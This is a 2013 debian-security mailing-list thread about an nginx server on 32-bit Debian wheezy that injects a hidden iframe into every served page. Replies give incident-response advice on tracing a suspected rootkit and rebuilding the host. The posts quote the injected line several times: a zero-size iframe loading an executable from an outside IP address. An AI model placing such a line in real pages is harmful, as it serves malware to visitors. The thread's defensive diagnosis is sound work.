Re: debian wheezy i386 nginx iframe rootkit
On Thu, Sep 12, 2013 at 9:39 AM, E Frank Ball III fra...@efball.com wrote: On Thu, Sep 12, 2013 at 09:13:46AM +0900, Joel Rees wrote: On Thu, Sep 12, 2013 at 7:48 AM, E Frank Ball III fra...@efball.com wrote: Last fall there was a debian 64-bit / nginx rootkit going around, now I've been hit with what sounds similar but on 32-bit wheezy. All files served by nginx have this line inserted at the top: iframe src= http://122.226.137.123:/yixi.exe width=0 height=0/iframe I tar'd up /lib/modules/3.2.0-4-686-pae/kernel, copied it to another Debian Wheezy i386 machine in a safe environment and did a diff -r. No difference. No ismod line in /etc/rc.local I haven't been able to find anything. Googling doesn't show anything similar for debian wheezy i386, only sqeeze 64-bit. I was using nginx-light from dotdeb.org. I uninstalled nginx and tried the nginx-light from debian wheezy but it made no difference. Just out of curiosity, did you back up nginx and check it as well? -- Joel Rees No, I just uninstalled nginx from dotdeb and installed from Debian. I suppose you're wondering whether to regret that? The webpages are all static and remain unchanged, the nginx config files are OK. The new line is added by some process I can't find. No surprise in that. Malware is getting better at hiding itself these days. The lynx webrowser shows this as the first line of the webpages: Local on the machine in question or external? IFRAME: http://122.226.137.123:/yixi.exe It also appears in downloads using wget. view source in firefox or chrome show nothing amiss. It only appears on IPv4, not IPv6. Again, are the browsers local to the machine in question or accessing from the network? I do not have php installed. Good. I enjoyed programming php, but if you can't trust the engine, it's hard to justify writing an app on it. The http header is completely different: curl -I shows this: HTTP/1.1 200 OK Content-Type: text/html; charset=en_US.UTF-8 Content-Length: 3634 When it should look more like this: HTTP/1.1 200 OK Server: nginx/1.4.2 Date: Wed, 11 Sep 2013 23:39:48 GMT Content-Type: text/html; charset=en_US.UTF-8 Content-Length: 3291 Last-Modified: Thu, 24 Jan 2013 21:30:28 GMT Connection: keep-alive Vary: Accept-Encoding ETag: 5101a7f4-cdb Accept-Ranges: bytes Okay, so, if it isn't something on an external box hijacking the IP address of the box in question, it's a local process or set of processes hijacking port 80 and trying unsuccessfully to be a pass-through proxy. I installed chkrootkit, rkhunter, unhide.rb and they found nothing. E Frank Ball fra...@efball.com Well, installing those after the unknown software is in place kind of makes it hard for them to do their jobs. Among other things, the system file map and checksums are going to reflect the unknown state rather than the known good state. Of course, if you have a serious rootkit in place, it's going to hijack your detection/removal tools as soon as it sees them, so those tools are not 100% infallible under the best conditions. How much time/resources can you afford to spend on trying to pin the intrusion vector down? Although, I'd hesitate to use the box for anything important, even after a complete wipe/install, unless the BIOS can be safely restored from a write-protected backup image. And I'd try to be careful enough during the install that if the exploit were repeated, I'd notice immediately and thus be able to pin the thing more closely. Maybe build the server as a VM and take snapshots as you go. Or rebuild it on a different machine, with the old server reboot from a live CD before each major step and use the tools on the live CD to take the snapshots. -- Joel Rees Be careful where you see conspiracy. Look first in your own heart. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAAr43iM3=JZ3RFiFAgVi7_qnGh8tZD0NV3Z-1ktye5_jUb=k...@mail.gmail.com
Re: debian wheezy i386 nginx iframe rootkit
On Sep 11, 2013, at 18:48, E Frank Ball III fra...@efball.com wrote: Last fall there was a debian 64-bit / nginx rootkit going around, now I've been hit with what sounds similar but on 32-bit wheezy. Here's a link to info on the previous 64-bit rootkit: https://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections This you describe is exactly what was reported to full-disclosure here: http://seclists.org/fulldisclosure/2012/Nov/94 They also say this escalates into a kernel module and you know the deal. Can't trust the machine and unless you have the resources to spare, why bother looking for the rootkit. Like someone else already said, wipe it clean, even the BIOS, and when you install the OS use something like tripwire/aide to keep a known good state of the system in some other location. The idea being that you could detect what changed if it were to happen again.
Re: debian wheezy i386 nginx iframe rootkit
On Thu, Sep 12, 2013 at 07:15:57PM +0900, Joel Rees wrote: The lynx webrowser shows this as the first line of the webpages: Local on the machine in question or external? external. IFRAME: http://122.226.137.123:/yixi.exe It also appears in downloads using wget. view source in firefox or chrome show nothing amiss. External. I figure firefox and chrome discard the new line, since it's not appropriate before the doctype. It only appears on IPv4, not IPv6. Again, are the browsers local to the machine in question or accessing from the network? External. Okay, so, if it isn't something on an external box hijacking the IP address of the box in question, it's a local process or set of processes hijacking port 80 and trying unsuccessfully to be a pass-through proxy. Yes. The same as the rootkit in 64-bit squeeze last year. How much time/resources can you afford to spend on trying to pin the intrusion vector down? Although, I'd hesitate to use the box for anything important, even after a complete wipe/install, unless the BIOS can be safely restored from a write-protected backup image. And I'd try to be careful enough during the install that if the exploit were repeated, I'd notice immediately and thus be able to pin the thing more closely. Maybe build the server as a VM and take snapshots as you go. Or rebuild it on a different machine, with the old server reboot from a live CD before each major step and use the tools on the live CD to take the snapshots. -- Joel Reese This is a KVM virtual machine in a datacenter. No BIOS. I can wait a few days to rebuild. It's off right now, I'm not going to trust it for anything. E Frank Ball fra...@efball.com -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130912165713.gi30...@kamajii.efball.com
Re: debian wheezy i386 nginx iframe rootkit
I am glad some one asked if the browser is running on the server; I had that thought too. The problem could be something in between the actual client and the server. Additionally, this could be done without using any malicious software, like a rootkit. Legitimate software could be configured to create this issue. Perhaps your client or server has a IPTables rule that is manipulating the flow of traffic. You need to look into this from different perspectives. Capture some network traffic, preferably from a tap/span. Then repeat the browsing as you did before. You should also do a full portscan of both systems. You may find an extra, unwanted service running that is not shown in lsof/netstat, etc... Try to rule out the network and client. Perhaps boot a laptop from a live CD, and have it connected to the server via crossover cable, (start TCPDump on the laptop) and repeat the browsing just as before. You have a legitimate issue, you just need to continuously eliminate various possibilities. Also, how did you uninstall the other nginx? Doesn't apt/dpkg leave various files around that were install by a package when removing that package? Like data/conf files? For instance, when they have been modified from what was provided in the .deb? Do you have the other nginx .deb still on disk? On Thu, 2013-09-12 at 09:57 -0700, E Frank Ball III wrote: On Thu, Sep 12, 2013 at 07:15:57PM +0900, Joel Rees wrote: The lynx webrowser shows this as the first line of the webpages: Local on the machine in question or external? external. IFRAME: http://122.226.137.123:/yixi.exe It also appears in downloads using wget. view source in firefox or chrome show nothing amiss. External. I figure firefox and chrome discard the new line, since it's not appropriate before the doctype. It only appears on IPv4, not IPv6. Again, are the browsers local to the machine in question or accessing from the network? External. Okay, so, if it isn't something on an external box hijacking the IP address of the box in question, it's a local process or set of processes hijacking port 80 and trying unsuccessfully to be a pass-through proxy. Yes. The same as the rootkit in 64-bit squeeze last year. How much time/resources can you afford to spend on trying to pin the intrusion vector down? Although, I'd hesitate to use the box for anything important, even after a complete wipe/install, unless the BIOS can be safely restored from a write-protected backup image. And I'd try to be careful enough during the install that if the exploit were repeated, I'd notice immediately and thus be able to pin the thing more closely. Maybe build the server as a VM and take snapshots as you go. Or rebuild it on a different machine, with the old server reboot from a live CD before each major step and use the tools on the live CD to take the snapshots. -- Joel Reese This is a KVM virtual machine in a datacenter. No BIOS. I can wait a few days to rebuild. It's off right now, I'm not going to trust it for anything. E Frank Ball fra...@efball.com -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1379016049.25403.43.camel@Void
Re: debian wheezy i386 nginx iframe rootkit
On Thu, Sep 12, 2013 at 7:48 AM, E Frank Ball III fra...@efball.com wrote: Last fall there was a debian 64-bit / nginx rootkit going around, now I've been hit with what sounds similar but on 32-bit wheezy. Here's a link to info on the previous 64-bit rootkit: https://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections All files served by nginx have this line inserted at the top: iframe src= http://122.226.137.123:/yixi.exe width=0 height=0/iframe Whatever it was isn't there anymore: Connecting to 122.226.137.123:... failed: Connection refused. I tar'd up /lib/modules/3.2.0-4-686-pae/kernel, copied it to another Debian Wheezy i386 machine in a safe environment and did a diff -r. No difference. No ismod line in /etc/rc.local I haven't been able to find anything. Googling doesn't show anything similar for debian wheezy i386, only sqeeze 64-bit. I was using nginx-light from dotdeb.org. I uninstalled nginx and tried the nginx-light from debian wheezy but it made no difference. This machine was built on July 19th. I've uninstalled nginx. I'll hold off rebuilding for now, maybe somebody here has some ideas? E Frank Ball fra...@efball.com Just out of curiosity, did you back up nginx and check it as well? -- Joel Rees Be careful where you see conspiracy. Look first in your own heart. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/caar43iojy_q8kuu47y+ah+v0e81vtnwykh2f6lvvcowqans...@mail.gmail.com
Re: debian wheezy i386 nginx iframe rootkit
On Thu, Sep 12, 2013 at 09:13:46AM +0900, Joel Rees wrote: On Thu, Sep 12, 2013 at 7:48 AM, E Frank Ball III fra...@efball.com wrote: Last fall there was a debian 64-bit / nginx rootkit going around, now I've been hit with what sounds similar but on 32-bit wheezy. All files served by nginx have this line inserted at the top: iframe src= http://122.226.137.123:/yixi.exe width=0 height=0/iframe I tar'd up /lib/modules/3.2.0-4-686-pae/kernel, copied it to another Debian Wheezy i386 machine in a safe environment and did a diff -r. No difference. No ismod line in /etc/rc.local I haven't been able to find anything. Googling doesn't show anything similar for debian wheezy i386, only sqeeze 64-bit. I was using nginx-light from dotdeb.org. I uninstalled nginx and tried the nginx-light from debian wheezy but it made no difference. Just out of curiosity, did you back up nginx and check it as well? -- Joel Rees No, I just uninstalled nginx from dotdeb and installed from Debian. The webpages are all static and remain unchanged, the nginx config files are OK. The new line is added by some process I can't find. The lynx webrowser shows this as the first line of the webpages: IFRAME: http://122.226.137.123:/yixi.exe It also appears in downloads using wget. view source in firefox or chrome show nothing amiss. It only appears on IPv4, not IPv6. I do not have php installed. The http header is completely different: curl -I shows this: HTTP/1.1 200 OK Content-Type: text/html; charset=en_US.UTF-8 Content-Length: 3634 When it should look more like this: HTTP/1.1 200 OK Server: nginx/1.4.2 Date: Wed, 11 Sep 2013 23:39:48 GMT Content-Type: text/html; charset=en_US.UTF-8 Content-Length: 3291 Last-Modified: Thu, 24 Jan 2013 21:30:28 GMT Connection: keep-alive Vary: Accept-Encoding ETag: 5101a7f4-cdb Accept-Ranges: bytes I installed chkrootkit, rkhunter, unhide.rb and they found nothing. E Frank Ball fra...@efball.com -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130912003916.gh30...@kamajii.efball.com
Re: debian wheezy i386 nginx iframe rootkit
Quoting E Frank Ball III (fra...@efball.com): Last fall there was a debian 64-bit / nginx rootkit going around, now I've been hit with what sounds similar but on 32-bit wheezy. I hope you're aware that -- at least in the standard usage of the word 'rootkit' -- a rootkit doesn't 'go around', but rather is a set of concealment software an intruder installs after breaking in via other means, in order to hide his/her presence and processes. Here's a link to info on the previous 64-bit rootkit: https://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections Article cites Crowdstrike Blog as its source of information but then gives the incorrect URL. Here's the correct one: http://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/index.html (Note that the page concludes that the means of entry and escalation to root access in the host studied is unknown.) This machine was built on July 19th. I've uninstalled nginx. I'll hold off rebuilding for now, maybe somebody here has some ideas? Well, for starters, if you think the machine has been root compromised, you really cannot trust data gathered from the live system. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130912002644.gj7...@linuxmafia.com
